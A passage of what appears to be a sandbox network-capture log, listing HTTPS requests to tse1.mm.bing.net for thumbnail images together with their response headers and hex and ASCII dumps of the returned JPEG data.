'YMIJHgvg\|F4]S~o}\|8A86Of`xkH3G%+D}}+i7O\|c}xvIUn~5u2^V)7~}b:bMeg.>yq"r?]TZot<]:+\xO1mn,~Owz
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: c9 6b 74 cd 6f e6 ba 3f cb f2 9f 4f f0 ad 2b 1b dd 29 bc 3f a1 db dd 4f 1f fa 65 a3 44 9f 27 fc b4 db f7 6b 37 4f b8 d3 74 1d 1a 1d 36 4f 23 ed 8a ec d0 c3 fc 4e a6 b1 a9 ec e9 2e 79 bb 20 a9 88 85 1b c9 ca dd 3f e0 22 86 a5 7b 3b dd 4d a9 69 f6 9b 6d 62 f9 6e ed 3f 8b 6f b5 79 bf 8c 34 3b 1d 27 c4 d0 cd 37 fc 7b dd 22 cf 0b c2 ff 00 71 4f b7 b5 7a 5e ad 7b 2f 86 ad 62 d7 24 d0 a7 fd ec de 55 c5 bf d5 be fd 53 d4 9e cd f5 5f b5 37 d8 6e ad 57 f7 5e 4f de 5d ad d5 7f 0a f2 eb 55 85 17 ed e9 ab f3 6e 97 e6 63 2b 53 92 92 5a f5 f3 3c 33 e2 d6 9f 6d 17 89 2e e4 d3 7c c6 85 51 5a 67 7f bd b8 f5 ae 7b 49 93 10 2a b7 dd 57 fb f5 eb df 19 34 ed 3f 4b d0 fc 9b 38 20 b8 fb 53 ee 85 e6 4f de a2 ff 00 bd e9 5e 50 da 7d e5 8e a4 96 f7 51 ed 66 da db 2b 7c 3d 6f 68 ef Data Ascii: kto?O+)?OeD'k7Ot6O#N.y ?"{;Mimbn?oy4;'7{"qOz^{/b$US_7nW^O]Unc+SZ<3m.\|QZg{I*W4?K8 SO^P}Qf+\|=oh
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: ca 74 63 77 cd fb cd b5 5d 5f cc ff 00 65 aa 48 cb 37 cb f7 6a 5a b1 a4 65 72 68 fe 5f 9b fb bf f8 e5 4b 19 dd f7 bf 86 a2 52 bf c5 f7 aa 5c bd 49 a0 32 7f 17 97 1d 33 1f bb f9 a9 ca fb 77 2f fe 81 4e 53 b7 e5 a5 b0 0d fb 3a f9 9b a3 fe e5 39 63 ff 00 ec ea 45 7d bf f2 d3 e6 ff 00 6e 97 1f de a9 19 07 96 df 22 ff 00 17 fb 14 2c 7f bb f9 be f7 f7 2a 78 ce df 9b ef 50 a9 ba 3f 9b e6 a7 cc c5 ca 8a 8a 9b be ef de a7 7f b4 d5 61 92 9a c9 fc 4d f7 bf 8e 9d c2 c3 14 ed 8f 77 de dd f2 d0 c7 fe 99 ee fe e5 27 cd fe ed 22 8d df 7b ee fc cc f4 80 72 9f de 52 af cb fe ef f1 ec a6 ec dd fe ed 0c 3f 77 f2 fc b5 40 49 fe f5 18 fb 9f bc a8 59 b6 c9 fd e5 fe e5 0c ed ff 00 3d 3e 56 a5 60 72 26 93 e6 92 8c ac 71 a5 56 59 37 7c ab 47 9b fb bf ef 53 e5 62 e6 44 ec 55 7f e5 Data Ascii: tcw]_eH7jZerh_KR\I23w/NS:9cE}n",*xP?aMw'"{rR?w@IY=>V`r&qVY7\|GSbDU
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 6d b0 cb af 86 91 69 d7 49 7d 63 e2 9b 56 56 7d cf 0b a6 e5 aa 1a 85 dd cf 87 b5 84 5b 8b f9 1a de e3 ee 3d bf f0 55 8d 4b 58 b1 59 1f 47 92 ff 00 ec 0a cf f3 a7 f5 a8 b5 28 e0 97 4d b7 87 50 bb 8e f2 18 bf d5 4d 6f f3 32 57 74 13 92 5e db 5b f9 74 f9 0a 38 aa 75 e3 18 cb ef d9 db c8 dd f0 fe 9c ba f6 b1 33 4d 77 1d c7 9a 9b 52 6b 84 db bd 7d ab 5b 4b 48 b4 89 1e ce f2 3f b5 7d 9f fd 4c c9 fc 1f ec d7 31 a5 ea 1e 13 b2 ba 4b 78 f5 29 e5 db b5 b6 3a 6d ad 8f 11 4b a6 5d 7f a7 69 f7 7b 96 2d bb d1 13 77 fd f5 53 2a 2a 56 4e 2f 97 d3 63 48 53 a7 cb 78 6a bd 1d c8 21 7f 0f 6b 77 53 42 d6 92 45 70 e9 f2 3f cd bb 75 74 5f 0b f4 0d 57 51 d3 65 d2 fc 37 fe 98 d1 3f fa 46 ff 00 97 67 e3 50 b6 b5 15 ad ad a4 d7 5e 13 8e 75 54 dd e7 5b a7 cc 8b fd ec d5 7f 0e bb 5b Data Ascii: miI}cVV}[=UKXYG(MPMo2Wt^[t8u3MwRk}[KH?}L1Kx):mK]i{-wS**VN/cHSxj!kwSBEp?ut_WQe7?FgP^uT[[
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: a3 73 37 e7 51 68 fa 67 f6 76 95 69 a9 59 c6 92 c3 2c 3b be cf 36 e6 5d de 94 6a c9 72 b6 a9 71 67 ab 41 6b 1f cb f6 88 6e 13 ee 37 f8 54 55 a9 4e 7b 2d b4 39 eb 62 29 b8 5e 9f d9 7b 6d 67 e6 69 4d e2 4d 56 7d 35 34 9b 5d 5a 7b a9 2d df fd 4b be e6 db ed 4b a1 ea bf 68 b5 4d df e8 f7 12 ee 89 fe 7f e2 f5 27 f8 6b 83 f1 66 a0 ba 4e b1 f6 ed 1f 52 8e 59 25 87 f7 ce 89 b7 e6 ef 8a e8 fc 1b 7b 02 78 7e de e1 ae ec 6f 2f 2f e6 65 9a de 6f fd 9a b1 a9 43 92 9a 76 d1 8f 07 51 ca 0d db 49 3f 4b bb da c7 6d 71 a7 40 fe 1f ff 00 89 d4 72 5a c7 66 fe 6b dc 23 ff 00 26 ad dd 06 f7 e1 bf 89 bc 39 fd 9f 6f ae cf a6 ea 17 08 de 4a 27 cc ae c3 bf d6 b8 af 17 69 de 33 d3 b4 bb 75 5d 36 c6 ff 00 4d b8 dd b3 ec 8f e6 aa 63 ff 00 41 c5 70 da a5 de 8b 6b 07 da 16 0b b5 b8 54 Data Ascii: s7QhgviY,;6]jrqgAkn7TUN{-9b)^{mgiMMV}54]Z{-KKhM'kfNRY%{x~o//eoCvQI?Kmq@rZfk#&9oJ'i3u]6McApkT
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: b8 65 74 b8 f9 76 2f f7 4f ad 6f 5a dc 6b 92 dd 3b 37 97 61 25 bf ca fb 3e 65 9b 15 c7 6a da da a6 ab 0e ad 6b 69 ba 49 5f ca b8 d8 9f 2b ad 74 36 3a c5 e2 c8 93 4d 3c f2 da b2 7c 93 7f 12 7f c0 7d ab 09 65 ae 52 75 12 56 7d 3b 3f f2 39 56 06 13 a8 e6 d6 8f f0 66 ae a9 a5 e9 fa cc 8f 71 7d e6 5b cd f2 f9 2f 0b ed 67 61 de b8 bd 79 3c 71 e1 af 17 69 f7 57 57 70 2c 37 57 1b ad 2f a2 fe 3f f6 5a ba bd 16 5d 69 bc 40 fa 95 8e 9b 6b a9 42 a9 b6 6f 9f 6b 6e 2b d7 da b4 35 a7 b6 f1 07 c3 db ef 0d dc 69 32 7d a9 bf 7b 68 ff 00 79 92 41 d3 6e 2b 4a 71 9e 19 72 c9 f3 41 e8 d7 91 d3 46 94 f0 f4 f9 f7 f2 f9 f4 f3 ea 50 f8 f9 79 2f 8e a4 b4 d3 e1 b0 82 df 54 96 15 f2 7e ee e9 98 7f 76 41 fc ab 85 b7 f8 75 e4 68 fe 76 a1 77 3a de 34 5b 5e d1 f6 fc 9f 43 53 e8 3a ee ab Data Ascii: etv/OoZk;7a%>ejkiI_+t6:M<\|}eRuV};?9Vfq}[/gay<qiWWp,7W/?Z]i@kBokn+5i2}{hyAn+JqrAFPy/T~vAuhvw:4[^CS:
2024-11-28 14:17:29 UTC	16067	IN	Data Raw: 9a 58 4a 13 4d a9 59 9e 59 aa 78 5f 4f 68 fe d9 a6 f9 77 11 af cb e4 c3 bb e7 f7 6a 5f 0d e8 1a bd c6 b0 91 cd e5 b2 b2 6e 86 df e5 5e 9e b5 e9 1e 20 3e 1e b2 d2 b6 ff 00 62 fd 96 66 4d de 74 33 ee d9 5c 16 8b 06 9f 2e ab f6 a9 ae ee a5 5f e0 74 fb db ab 0e 6c 55 08 b9 b5 75 e6 8f 3a 51 9d 19 b5 17 cc b5 df cc e2 b5 4d 1f 59 b3 92 f9 6e 34 df dd fc df ed 6c ac cd 2f 75 a4 f6 eb f6 09 fe d1 fd c8 53 e6 af 57 f1 15 ce bd a7 69 bf 68 d3 6c 2d 65 b1 59 be 79 ae 3f bd fe 15 56 43 a9 de c8 93 6a 1a 4e d6 ff 00 9f bb 1d ab b3 de 9f f6 8b 94 1f 32 5f 26 ff 00 23 8a 35 24 a2 f4 b4 55 b4 ba e8 72 f6 7a bb 2c 93 69 ff 00 bf 95 b7 ee 4b 7b 8f e5 5a d6 ef 3c fa 6f f6 86 9f 04 16 b3 44 fe 53 db bb ed df 5e 7b ab 36 b9 2f 8e 3e c3 1f da af 2e 25 97 6c 2e ff 00 eb 5e bd Data Ascii: XJMYYx_Ohwj_n^ >bfMt3\._tlUu:QMYn4l/uSWihl-eYy?VCjN2_&#5$Urz,iK{Z<oDS^{6/>.%l.^
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 5d 45 e6 bf ae 68 f7 d6 36 3e 1d d6 a3 96 c5 be e4 d3 7c df 37 f7 6b 87 11 8a c4 54 9c 5c 1a 8c 97 47 ff 00 00 de bd 69 d6 a5 0e 68 d9 a7 b7 ca c7 29 a2 fc 0e be b5 d7 34 fd 4b 54 d6 bf b2 61 fe 3f 3b 76 d4 5f ad 69 78 93 e1 be 91 ff 00 09 07 db bc 1b ab 7d aa e2 27 ff 00 48 47 9f 76 ff 00 75 ac cf 8b 5a cf c4 bb 8f 3a cf 54 b4 93 ec 6d f7 dd fe ed 72 ba 2e 89 af 5d 69 72 ad 8d f4 f1 4c df c6 8f b7 62 d1 1a 58 aa b0 55 ea 57 8a e9 a6 ab e6 79 bc d5 dc 5c e7 68 a8 ed b5 f5 7d 4f 48 d1 f5 49 fc 2f ab 4d 6b 7d 77 f6 06 6d ad b2 ed 37 7f df 35 d0 6a d0 69 1e 20 d5 6d 2e 96 38 2e a4 54 fb ef f2 ef fc 3a 57 99 7c 29 f0 dd f5 d7 8a 9f fe 12 4b b7 bf 5b 5f b9 f6 b7 f9 6b d8 5b e1 da de c1 35 c6 8b 3c 0a b2 a7 c9 0a 7f ec b5 e2 66 1e c2 8d 65 69 5a 56 dd 6c 6a a1 Data Ascii: ]Eh6>\|7kT\Gih)4KTa?;v_ix}'HGvuZ:Tmr.]irLbXUWy\h}OHI/Mk}wm75ji m.8.T:W\|)K[_k[5<feiZVlj
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: a5 fb 50 f8 23 51 d5 2c 6d 74 bd 37 51 b8 8e 5b bf 22 69 a5 db 12 db 46 78 59 3f 1f 4a f3 7f da bb e3 8d b7 8c a1 ff 00 84 2f c1 57 fa 8a e9 36 ef 22 ea 77 d0 fe e3 ed ec 8b c2 23 75 f2 c7 7f ef 57 45 3a 15 92 48 ce 52 85 49 b5 6f d0 ea b5 ef da 73 c2 76 5f 10 a6 d1 ec 74 d9 ef f4 5b 0f 3a 2b 8d 45 36 fe fa e0 70 ab 1f fb 1f ed 7e 35 e6 9f 13 bf 6b df 12 dd 6b 90 db f8 3f 49 83 49 b1 57 55 7f b4 27 9e d3 31 fe 2c f4 1e c3 f3 af 10 b5 b9 9d 34 74 8f ec 92 2c 6d 70 ab 0a 43 fc 12 76 e2 a6 ff 00 84 7b 4c ba d7 12 66 bb 9f 6a be e7 b7 d9 f2 a4 83 ef 7c dd eb b7 d9 c6 2d 68 47 d5 a1 ad db 3d 6f c6 df b4 97 8b b5 3f 11 6b d0 e9 36 92 5a db ea d6 90 5a 5a 3f 99 fb dd 3d 53 ef 14 0b c6 e7 6e a6 b0 b4 4f 8a be 3a b4 f1 d6 93 ac b6 a5 26 a9 26 93 ba e5 6c 6f a7 f9 Data Ascii: P#Q,mt7Q["iFxY?J/W6"w#uWE:HRIosv_t[:+E6p~5kk?IIWU'1,4t,mpCv{Lfj\|-hG=o?k6ZZZ?=SnO:&&lo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49772	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:28 UTC	346	OUT	GET /th?id=OADD2.10239381974406_1PX0P2H3JT1SGPC2P&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 14:17:28 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 518451 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1EB5BCFAAB7C466898761B67B0F689DF Ref B: EWR30EDGE0906 Ref C: 2024-11-28T14:17:28Z Date: Thu, 28 Nov 2024 14:17:28 GMT Connection: close
2024-11-28 14:17:28 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 35 3a 31 35 3a 31 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 15:15:178C
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 29 54 63 75 3d 86 69 31 41 5b 0c c5 39 78 a3 f8 68 18 1c 50 24 c6 b0 f9 68 51 4e 61 4a a0 7f 0f f0 d0 26 ee 33 00 f1 41 5c f2 69 f8 db cd 26 32 d4 03 d8 66 29 5b ee d3 94 61 bf bd 4a df 77 8a 77 10 cc 65 68 61 da 9f b7 fe fa a4 61 f2 f3 45 c3 a8 98 f5 a1 55 69 d8 1b 68 51 eb f2 d1 70 13 1e d4 60 0a 56 1f 2d 2d 21 dc 6e df 9a 8c 7c b4 ea 6e 33 40 fa 0d db f3 53 94 02 b4 ec 7b 52 e3 bd 00 86 ad 0b 4e 71 8e b4 62 80 90 dc 7a 51 8c d3 b1 9a 17 d6 8d 49 d8 63 0e 7d e9 54 61 b1 46 cf 4a 72 8f ca 82 96 e2 6d 6a 54 1e 94 fa 68 a0 bd 16 a2 60 d0 e3 f2 a7 2d 2d 2b 8f 99 0c c6 78 ed 4b 8f 9a 95 49 1f f0 2a 56 1e d4 5c 76 1b 8f 6a 18 7c dc 53 d7 ee fb 53 31 86 a5 11 4b 44 37 f8 b3 4b 8a 70 19 a3 69 e8 2a 89 b6 96 1b c5 2f 01 a9 76 fc be d4 bb 45 2b a2 92 19 b7 b5 38 Data Ascii: )Tcu=i1A[9xhP$hQNaJ&3A\i&2f)[aJwwehaaEUihQp`V--!n\|n3@S{RNqbzQIc}TaFJrmjTh`--+xKIV\vj\|SS1KD7Kpi/vE+8
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: b4 6d c0 ba 5b 98 f4 1b 1f ec f6 6f 2f fd 64 ad 2b 38 f4 c2 e3 15 e2 9e 2d 92 c6 49 a2 d2 fe cc b7 31 c0 de 74 91 aa 9d bc 74 e9 cb 00 2a f6 9f a6 dd ea 16 71 ff 00 67 59 ac 63 68 45 f9 b6 22 a7 5e 87 9a d3 eb 0d 45 49 b1 fd 4e 0d da c7 b5 43 f1 f2 0b 95 52 fa 2c 70 06 e3 6b 48 ea dd 33 dc 71 59 da b7 c4 f8 f5 9b 8f 22 f2 f2 5d 36 06 e7 6c 58 65 c6 39 cb 75 3f 4a f3 4b 9f 0d ad bd 9a 4a f7 97 6b 22 b7 cd b5 87 cd 54 7f b3 13 f7 97 11 ee 69 97 1b 20 66 3b 79 eb c1 3c e4 7a 57 34 b1 53 a8 ad 1a 8e c6 b1 c1 d3 83 d6 0a e7 79 33 f8 73 50 b8 51 61 7d 04 92 33 0d cd 22 96 dd 8a 1b 4d b3 55 8c c7 73 6c 81 98 ed f2 a3 1e 9c 9a f3 ab 57 f1 24 97 4d 17 d9 be cd 1b 64 34 6a db b7 0c 70 02 8e 9f 5a ed 34 18 65 b3 b1 d9 25 b7 97 bb 8e dd ff 00 95 79 b5 a3 28 6d 3d 4e Data Ascii: m[o/d+8-I1tt*qgYchE"^EINCR,pkH3qY"]6lXe9u?JKJk"Ti f;y<zW4Sy3sPQa}3"MUslW$Md4jpZ4e%y(m=N
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: d9 22 65 dc ab b7 a7 50 7b 01 4e 96 f6 74 8f cc 99 55 83 28 db 1b 49 b7 a5 71 0b e2 3d 4a 4b a9 d2 38 36 47 66 a5 e5 fd c3 b6 e1 9c 7c b9 23 39 f6 eb 50 27 8a ae 35 bb a8 e2 d0 34 cb bb c2 aa 77 79 91 ed 55 cf 5e c7 1f 9d 73 4b 01 51 6a ec 91 a4 71 11 7f 09 df 5b eb 10 4b 32 d9 9d b2 49 16 7e 64 f9 57 91 90 2a 9d d5 e8 0c d1 cb 04 93 9e 4a ab 7c bd 0f a8 ae 77 43 b1 d5 a4 f1 43 5b 6a ca d6 32 5c aa c8 ab 23 06 55 00 1f ee d7 55 a8 41 67 6b 6a a8 93 b5 e3 2b 7c b1 40 de 5f d4 b3 36 4e 3e 95 c5 52 8c 29 cf 4d 5f 91 bc 79 e6 af b1 16 91 af c0 97 52 42 f6 71 db 34 98 0c cc bb bf 1f ff 00 5d 69 d9 ea 76 17 0b 23 cb 13 48 27 63 f7 63 3f 2f d3 1e f5 91 0e af a0 58 b7 fc 78 c0 a5 9b e5 f3 24 df bb eb 9a d0 9b c6 da 75 ad aa a7 d9 a2 d8 dc 46 d1 e1 57 3f 85 4c a9 Data Ascii: "eP{NtU(Iq=JK86Gf\|#9P'54wyU^sKQjq[K2I~dW*J\|wCC[j2\#UUAgkj+\|@_6N>R)M_yRBq4]iv#H'cc?/Xx$uFW?L
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: b7 b3 5a ac d2 b3 49 6c df eb 24 93 0d b7 1e 99 aa 97 c3 76 10 d5 f7 36 34 1d 22 e7 50 b8 51 f6 c5 61 26 4e e8 d7 88 c0 c6 30 0f ad 54 ba b0 7b 4b e6 12 5d ee 8e 46 3b 63 9e 3c ee fc 40 e1 7b fb d6 ce 89 3c b1 5a f9 70 5c f9 01 a3 fd ec ab fc b3 e9 54 f5 e6 13 dd 47 6e 97 2d 7d 12 f3 23 2c bf 7b db e9 5c 17 6e 6e fb 1d 16 8f 26 c3 26 94 db c6 d0 4f 63 04 8d 3b 28 5f b3 46 37 36 7f c6 b5 f4 35 82 39 a4 17 91 47 12 ff 00 0f cd f3 47 90 76 f4 fa 57 20 9a 7c 5e 4a cb f3 48 23 90 9f 33 cd 3b 59 fa 63 83 d8 56 b7 d8 24 5b 35 8e d2 06 52 cc 0b 34 6c 5f ff 00 af 53 38 d9 25 72 61 76 69 cd e2 38 20 da e9 73 0e 36 8d ad b7 73 60 f7 e6 b4 ed f5 2b 69 ed 65 b7 91 a3 fd db 0f de 36 1b 76 4f 15 5f c3 1e 18 bd 91 a3 17 ed 1c f6 f2 60 f9 72 ae dd a0 fa 1e bf 85 6f 3f 86 Data Ascii: ZIl$v64"PQa&N0T{K]F;c<@{<Zp\TGn-}#,{\nn&&Oc;(_F7659GGvW \|^JH#3;YcV$[5R4l_S8%ravi8 s6s`+ie6vO_`ro?
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: a7 cc 57 9f 33 85 56 39 ee 05 60 5c 46 2f af be db a8 c8 d3 96 6d bb a4 f9 51 7d 0e 2b 5a 34 94 da 77 d0 a9 4b 95 17 92 f2 c9 9b 02 e9 55 19 b3 1c 9d 38 ee 39 ea 2a 6b db ad 2a 28 7e 4b cf b4 b7 97 f3 6d c7 f4 35 c2 78 e7 c4 76 76 da e6 99 68 eb 3d db 4d 72 d6 d0 40 ab f3 ac 7f de 01 7b 0c d6 27 fc 23 b7 da be a5 fe 8b ae 4b 2c d1 b7 ef 7e cc bf 2a 9e ff 00 37 00 63 db a5 77 bc 0d 34 ae d9 8a c4 4a fa 23 b9 b8 b9 8a f2 4f 2e 26 8d ca e0 aa f0 cc b8 3e 99 ab 51 c7 05 b7 99 25 c4 11 f9 ac c7 6c 7b 43 2a e7 b7 15 05 84 1a 3e 8b 0e 6d fc b7 b8 85 71 2c 8b f3 2b 1e fc 9e f5 52 f7 50 8e f2 69 0f 9b 1e d5 8f 7b 6d 6f 9a 4c 1e 98 1f 4a e1 a9 b3 e5 37 8c f4 d7 72 fe 93 67 a7 dd ac f7 ba 8d e4 7e 6c 8c 3f 74 ab f3 71 d8 76 c5 62 ea 96 91 e9 b3 49 73 07 9f 86 52 3c Data Ascii: W3V9`\F/mQ}+Z4wKU89k(~Km5xvvh=Mr@{'#K,~7cw4J#O.&>Q%l{C>mq,+RPi{moLJ7rg~l?tqvbIsR<
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: ab 43 0c 71 4b 06 a1 7b 73 70 d2 ef 8b 6e 19 57 3e a3 f8 94 0e c6 bd 28 da 9b b9 c0 fd f8 ec 5a df 2d 9e 9f e5 5b 5c f9 aa ab 8f de 67 e6 23 a6 48 39 ff 00 1a a1 04 7a 9a db af f6 8e a7 73 24 72 48 d3 2a ae 76 29 3e 99 ec 3d eb a0 d1 74 bb c8 23 59 f5 78 a3 8f cc 6c c6 d2 30 66 f6 24 01 8f c2 b4 5f 44 37 77 9e 6c d7 33 cf 1b 7d d8 37 7e ed 7e 8a 2a 25 8a 8a 76 2e 38 79 3b 3b 19 5a 0a 0b db af 22 09 d9 63 89 be 66 65 fb dc 76 e3 9a dd 8f 48 06 e9 13 cf b9 c6 e0 59 76 8d b8 f4 27 d3 bd 74 de 18 d1 ec e1 f3 20 8a d9 a4 68 f8 65 56 0b d4 55 9d 5e f2 2d 3a 35 b4 b7 8a 15 91 9b 12 2f e1 eb 5c 12 c6 5e 56 48 ec 8e 15 28 de 46 0d b6 8f 7f 17 da 7c b9 e3 8d a4 8c 98 e3 da 30 b8 1c 74 c9 e7 d6 ac 5b d8 43 6f 63 14 b7 97 9e 7c cb cc bf 31 c2 9f f0 a8 26 d6 67 4d de Data Ascii: CqK{spnW>(Z-[\g#H9zs$rHv)>=t#Yxl0f$_D7wl3}7~~%v.8y;;Z"cfevHYv't heVU^-:5/\^VH(F\|0t[Coc\|1&gM
2024-11-28 14:17:29 UTC	16065	IN	Data Raw: 00 2a f5 d6 bc 5a 6b 68 74 4b 6b b9 22 69 40 96 7d db 52 30 4e 0e dd df 79 bd aa 7d 9d 4e 91 17 b7 82 de 5a 96 71 2d bd c2 bf 95 b5 b6 92 bb 71 bb d3 a9 a6 ac 42 5d 51 ae 24 d3 23 91 95 46 d7 92 3d cf 91 d3 e6 eb 81 4e ba b8 b2 b5 66 13 dc f9 fb a3 3b a4 ee bf 52 6a 86 a1 ad 5c ed b6 8e 2f f4 13 b8 24 4d 2b 6e 79 0f f7 47 7e 95 31 a1 39 3d 55 8a 9e 2a 8c 3e d1 ad 71 6b 73 72 aa 92 c5 24 71 7f 17 96 bf 3b 1f 6a 7a 5a c9 63 fb d1 2b 6f db b3 cb 66 1b 9b 1c fc c4 66 b3 fc 5b e2 cb 9b 55 ca 2a c5 b6 2f 99 a4 c6 e9 1f 8e 23 07 ef 67 e9 58 5e 27 f1 ba e9 da 1f 99 73 e4 69 f2 ce d8 b6 56 52 ee c4 f4 c8 5c f7 e2 9c 30 93 64 cb 30 a7 7b 1b 1a c6 a5 7f aa e9 3f 63 b3 b9 fe ca 91 15 bc dd ca 19 d4 f3 fc 5d 30 45 78 e7 c2 9b 4f 17 f8 77 5e d5 e2 96 cf ed 22 45 93 fb Data Ascii: ZkhtKk"i@}R0Ny}NZq-qB]Q$#F=Nf;Rj\/$M+nyG~19=U>qksr$q;jzZc+off[U*/#gX^'siVR\0d0{?c]0ExOw^"E
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 5f df 6c 65 32 ba 8c 67 71 19 35 5b 44 b4 b2 91 9a 3d 62 e6 3b ab a8 18 46 ab 69 06 d8 54 1e 7e ef 4d d5 47 43 b7 92 5d 5a 59 e2 b6 d5 a4 dc 98 92 5b b6 db b8 1c 8d a1 94 7c d8 f7 ad 6f b3 ea 96 37 91 3c 37 90 45 6f 14 91 ed 8d 94 ef 6d bd a9 4a 70 77 4f 42 a1 0a 91 6a 51 d4 d7 b2 b5 b4 b4 59 05 9e a1 24 b2 ac 98 78 e4 90 33 47 9e c7 d0 fb 56 4d c3 dd dd 6a 93 b1 82 ed 44 51 08 e2 65 80 a7 98 fd c9 27 b7 d2 af ad f2 25 e3 3d cd e5 8c 12 c9 07 da 1b e6 dc ec 7d 97 bf 1d c9 ac 9d 1f c4 36 97 fa a4 f2 45 7d 3c f3 72 91 c1 26 15 64 74 fe 25 3e 99 a6 a9 b8 91 5a b7 3b 57 45 8d 32 de 49 b5 29 60 b9 82 36 b5 8a 2d 92 48 d9 f3 59 fa b2 8c 60 6d fd 6a 09 35 86 bd 68 ad a2 d2 b5 0f 2e 49 7e f4 70 17 e0 1c 12 c4 80 14 71 d3 ad 69 5b eb 82 c2 4f f8 99 4f 69 6d 1a af Data Ascii: _le2gq5[D=b;FiT~MGC]ZY[\|o7<7EomJpwOBjQY$x3GVMjDQe'%=}6E}<r&dt%>Z;WE2I)`6-HY`mj5h.I~pqi[OOim
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 86 31 c9 aa 32 25 c4 9b bc 8d bb 65 f9 76 ed 1b 97 f1 35 bf ab 43 7f 36 9b 07 d8 27 b6 8a e3 69 69 62 6c aa c8 3d 37 7f 0e 3d 68 b6 b7 96 2d 35 22 9d a0 8e 69 14 a4 6f e6 6c 45 e7 23 93 d4 e3 8a ce 33 52 48 55 13 4d d8 e3 75 ad 06 43 37 99 25 cc 99 65 21 57 6e ee bd c5 51 b7 b7 d5 2d ae 23 cd 9c 57 2b 1c 9f 7b 6e df c7 3d eb b7 be 10 43 34 b0 5a 5e 2d d5 fc ab 86 f3 1b 76 e3 d4 76 3d 2a 3b 8d 23 54 5d 3e 37 d4 56 c5 9b cd de ac 98 45 c0 f6 1f c5 9f c2 ba 3d ad 3b a4 a4 60 f9 d4 5b e5 fc 4c 84 d4 35 0b 36 51 73 6d 03 34 8d f2 ee fb eb 9f a7 6a b3 1e a1 74 23 95 e4 b6 f3 44 6a 36 ac 6d f2 fe 39 e9 56 74 dd 20 cd 22 cf 2c 11 c8 24 52 55 a3 c3 74 ff 00 68 0c 0f cf 34 eb dd 1a e6 de 16 9e cf 50 d3 e3 69 57 1e 54 ea 59 54 7d 79 cd 63 38 d3 4e d3 76 15 3a 93 9c Data Ascii: 12%ev5C6'iibl=7=h-5"iolE#3RHUMuC7%e!WnQ-#W+{n=C4Z^-vv=*;#T]>7VE=;`[L56Qsm4jt#Dj6m9Vt ",$RUth4PiWTYT}yc8Nv:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49773	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:28 UTC	375	OUT	GET /th?id=OADD2.10239381974407_1ZDRM1NCYDR575WXY&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
